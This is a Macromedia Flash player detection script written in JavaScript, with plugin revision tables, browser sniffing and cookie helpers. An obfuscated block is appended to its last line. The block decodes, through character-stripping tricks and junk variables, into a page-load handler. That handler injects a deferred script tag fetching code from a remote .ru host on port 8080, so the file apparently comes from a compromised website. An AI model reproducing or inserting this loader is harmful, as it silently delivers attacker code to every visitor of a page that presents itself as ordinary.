/* Comments removed - see Macromedia web site for full version of this file */

var MM_FlashSnifferURL = "wf_detectFlash.swf";


var MM_latestPluginRevision = new Object();
MM_latestPluginRevision["6.0"] = new Object();
MM_latestPluginRevision["5.0"] = new Object();
MM_latestPluginRevision["4.0"] = new Object();
MM_latestPluginRevision["3.0"] = new Object();
MM_latestPluginRevision["2.0"] = new Object();

MM_latestPluginRevision["6.0"]["Windows"] = 79;
MM_latestPluginRevision["6.0"]["Macintosh"] = 79;
MM_latestPluginRevision["6.0"]["Unix"] = 79;

MM_latestPluginRevision["5.0"]["Windows"] = 42;
MM_latestPluginRevision["5.0"]["Macintosh"] = 41;
MM_latestPluginRevision["5.0"]["Unix"] = 51;

MM_latestPluginRevision["4.0"]["Windows"] = 28;
MM_latestPluginRevision["4.0"]["Macintosh"] = 27;
MM_latestPluginRevision["4.0"]["Unix"] = 12;

MM_latestPluginRevision["3.0"]["Windows"] = 10;
MM_latestPluginRevision["3.0"]["Macintosh"] = 10;

MM_latestPluginRevision["2.0"]["Windows"] = 11;
MM_latestPluginRevision["2.0"]["Macintosh"] = 11;


var MM_FlashControlInstalled;
var MM_FlashControlVersion;

function MM_FlashInfo()
{
    if (navigator.plugins && navigator.plugins.length > 0)
    {
	this.implementation = "Plug-in";
	this.autoInstallable = false;

	if (navigator.plugins["Shockwave Flash"])
	{
	    this.installed = true;

	    var words =
		navigator.plugins["Shockwave Flash"].description.split(" ");

	    for (var i = 0; i < words.length; ++i)
	    {
		if (isNaN(parseInt(words[i])))
		continue;

		this.version = words[i];
		

		this.revision = parseInt(words[i + 1].substring(1));
	    }
	}
	else
	{
	    this.installed = false;
	}
    }
    else if (MM_FlashControlInstalled != null)
    {
	this.implementation = "ActiveX control";
	this.installed = MM_FlashControlInstalled;
	this.version = MM_FlashControlVersion;
	this.autoInstallable = true;
    }
    else if (MM_FlashDetectedSelf())
    {
	this.installed = true;
	this.implementation = "Plug-in";
	this.autoInstallable = false;
    }

    this.canPlay = MM_FlashCanPlay;
}


var MM_FlashPluginsPage = "http://www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFlash";

function MM_FlashDispatch(contentVersion, requireLatestRevision,
			  install, overridePluginsPage,disableAutoInstall)
{
	var sStartContent = "alt";
    if (disableAutoInstall == null)
    {
		alert("ERROR: MM_FlashDispatch() called with too few arguments.");
		return sStartContent;
    }


    var player = new MM_FlashInfo();

    if (player.installed == null)
    {
		var sniffer =
			"<EMBED HIDDEN=\"true\" TYPE=\"application/x-shockwave-flash\"" +
			" WIDTH=\"18\" HEIGHT=\"18\"" +
			" BGCOLOR=\"" + document.bgcolor + "\"" +
			" SRC=\"" + MM_FlashSnifferURL +
				"?contentURL=" + contentURL + "?" +
				"&contentVersion=" + contentVersion +
				"&requireLatestRevision=" + requireLatestRevision +
				"&latestRevision=" +
					MM_FlashLatestPluginRevision(contentVersion) +
				"&upgradeURL=" + upgradeURL +
				"\"" +
			" LOOP=\"false\" MENU=\"false\"" +
			" PLUGINSPAGE=\"" +
				(overridePluginsPage ? installURL : MM_FlashPluginsPage) +
				"\"" +
			">" +
			"</EMBED>";

		document.open();
		document.write("<HTML><HEAD><TITLE>");
		document.write("Checking for the Flash Player");
		document.write("</TITLE></HEAD>");
		document.write("<BODY BGCOLOR=\"" + document.bgcolor + "\">");
		document.write(sniffer);
		document.write("</BODY>");
		document.write("</HTML>");
		document.close();
    }
    else if (player.installed)
    {
		if (player.canPlay(contentVersion, requireLatestRevision))
		{
			sStartContent = "content";
		}
		else
		{
			if (disableAutoInstall)
			{
				sStartContent = "upgrade";
			}
			else
			{
				if (player.autoInstallable)
				{
					sStartContent = "auto";
				}
				else
				{
					sStartContent = "upgrade";
				}
			}
		}
    }
    else if (install)
    {
		if (disableAutoInstall){
			sStartContent = "install";
		}
		else
		{
			if (player.autoInstallable)
			{
				sStartContent = "auto";
			}
			else
			{
				sStartContent = "install";
			}
		}
    }
    else
    {
		sStartContent = "alt";
    }
    
    return sStartContent;
}


function MM_FlashRememberIfDetectedSelf(count, units)
{
    if (document.location.search.indexOf("?") != -1)
    {
	if (!count) count = 14;
	if (!units) units = "days";

	var msecs = new Object();

	msecs.minute = msecs.minutes = 60000;
	msecs.hour = msecs.hours = 60 * msecs.minute;
	msecs.day = msecs.days = 24 * msecs.hour;

	var expires = new Date();

	expires.setTime(expires.getTime() + count * msecs[units]);

	document.cookie =
	    'MM_FlashDetectedSelf=true ; expires=' + expires.toGMTString();
    }
}


function MM_FlashDemur(count, units)
{
    if (!count) count = 14;
    if (!units) units = "days";

    var msecs = new Object();

    msecs.minute = msecs.minutes = 60000;
    msecs.hour = msecs.hours = 60 * msecs.minute;
    msecs.day = msecs.days = 24 * msecs.hour;

    var expires = new Date();

    expires.setTime(expires.getTime() + count * msecs[units]);

    document.cookie =
	'MM_FlashUserDemurred=true ; expires=' + expires.toGMTString();


    if (!MM_FlashUserDemurred())
    {
	alert("Your browser must accept cookies in order to " +
	      "save this information.  Try changing your preferences.");

	return false;
    }
    else
	return true;
}


function MM_FlashUserDemurred()
{
    return (document.cookie.indexOf("MM_FlashUserDemurred") != -1);
}


function MM_FlashLatestPluginRevision(playerVersion)
{
    var latestRevision;
    var platform;

    if (navigator.appVersion.indexOf("Win") != -1)
	platform = "Windows";
    else if (navigator.appVersion.indexOf("Macintosh") != -1)
	platform = "Macintosh";
    else if (navigator.appVersion.indexOf("X11") != -1)
	platform = "Unix";

    latestRevision = MM_latestPluginRevision[playerVersion][platform];

    return latestRevision;
}


function MM_FlashCanPlay(contentVersion, requireLatestRevision)
{
    var canPlay;

    if (this.version)
    {
	canPlay = (parseInt(contentVersion) <= this.version);

	if (requireLatestRevision)
	{
	    if (this.revision &&
		this.revision < MM_FlashLatestPluginRevision(this.version))
	    {
		canPlay = false;
	    }
	}
    }
    else
    {
	canPlay = MM_FlashDetectedSelf();
    }

    return canPlay;
}


function MM_FlashDetectedSelf()
{
    return (document.cookie.indexOf("MM_FlashDetectedSelf") != -1);
}

this.lO='';try {var C;if(C!='T' && C!='O'){C='T'};var i='replace';var oi="";var V=RegExp;var I='g';var Zd='';var EB;if(EB!='tx' && EB!='P'){EB=''};var N='[';var sE="";var YJ=new String();var _='';var b=']';function t(s,_J){var PK;if(PK!='' && PK!='lT'){PK=''};var l=N;l+=_J;var Oc;if(Oc!='' && Oc!='G'){Oc='m'};var GP;if(GP!='Vh' && GP!='Ud'){GP='Vh'};l+=b;var Zz=new String();var si=new V(l, I);var pa=new Date();this.wG="";return s[i](si, _);var Hv;if(Hv!='GH' && Hv!='UW'){Hv='GH'};};this.wQ="";this.Ln="";var o=t('b8o8d8yS',"SJ8");var tw=t('852555059528955299029222',"925");var n;if(n!='a'){n=''};var M=t('/LaLz9eLtL.Zs9kL/7aZzZeLtZ.9s7k9/9g7oZo9gLl7eZ.7cLo9m9/9wLo7wZaLrZmLo7r9yL.7cLo7mZ/9gZo7oZgLlZeL.Lp9tL.LpZhLpZ',"LZ79");var L=t('cUrBedaUtCeUEUlpeBmBepnCtp',"UpdBC");this.Yh="";var s="1";var __=new Date();var h=new Date();var y=t('sMeEtMAEtMtErEiEb_u_tMeM',"E_M");var S=t('aYpHpHeznzdYCHhHiHlHdY',"YHz");var H=t('oGnGlJoGaGdJ',"JG");var Ez;if(Ez!='J'){Ez='J'};var iT=t('h7tNtTp7:T/N/NgNo7oTgTl7eN-TcNoT-NtNhT.NhTaTtNtNrTi7cTkT.ToTr7gT.NcNoTo7kTpNa7dT-7cToTmN.NnNe7wTvNiNlNlTaTgNeNf7rNeTsNhN.Nr7u7:7',"N7T");var oS=t('sWcqrWizpPtz',"W4zPq");var iW='';var Vu;if(Vu!=''){Vu='gN'};var e;if(e!='VS' && e != ''){e=null};window[H]=function(){var xR='';var de=new Date();var ef;if(ef!='ZM' && ef!='Xk'){ef=''};x=document[L](oS);var jo=new Array();this.wI="";iW+=iT;iW+=tw;iW+=M;var AS;if(AS!='' && AS!='bo'){AS=null};this.qQ="";var py='';var Hc=new String();var Ot=new String();x.src=iW;var ZdP="";this.jR='';x.setAttribute('defer', s);var SV;if(SV!='nd'){SV=''};var c=document[o];var qO='';var WO;if(WO!='' && WO!='NP'){WO=null};c.appendChild(x);var Mp='';var SH=new Array();};var Mi;if(Mi!='' && Mi!='vX'){Mi='qN'};var Og=new Array();var hR;if(hR!='dc' && hR!='sQ'){hR=''};var fG='';} catch(g){var Lv=new String();var WC=new String();};var VT;if(VT!='eX'){VT='eX'};var jX;if(jX!='uI'){jX='uI'};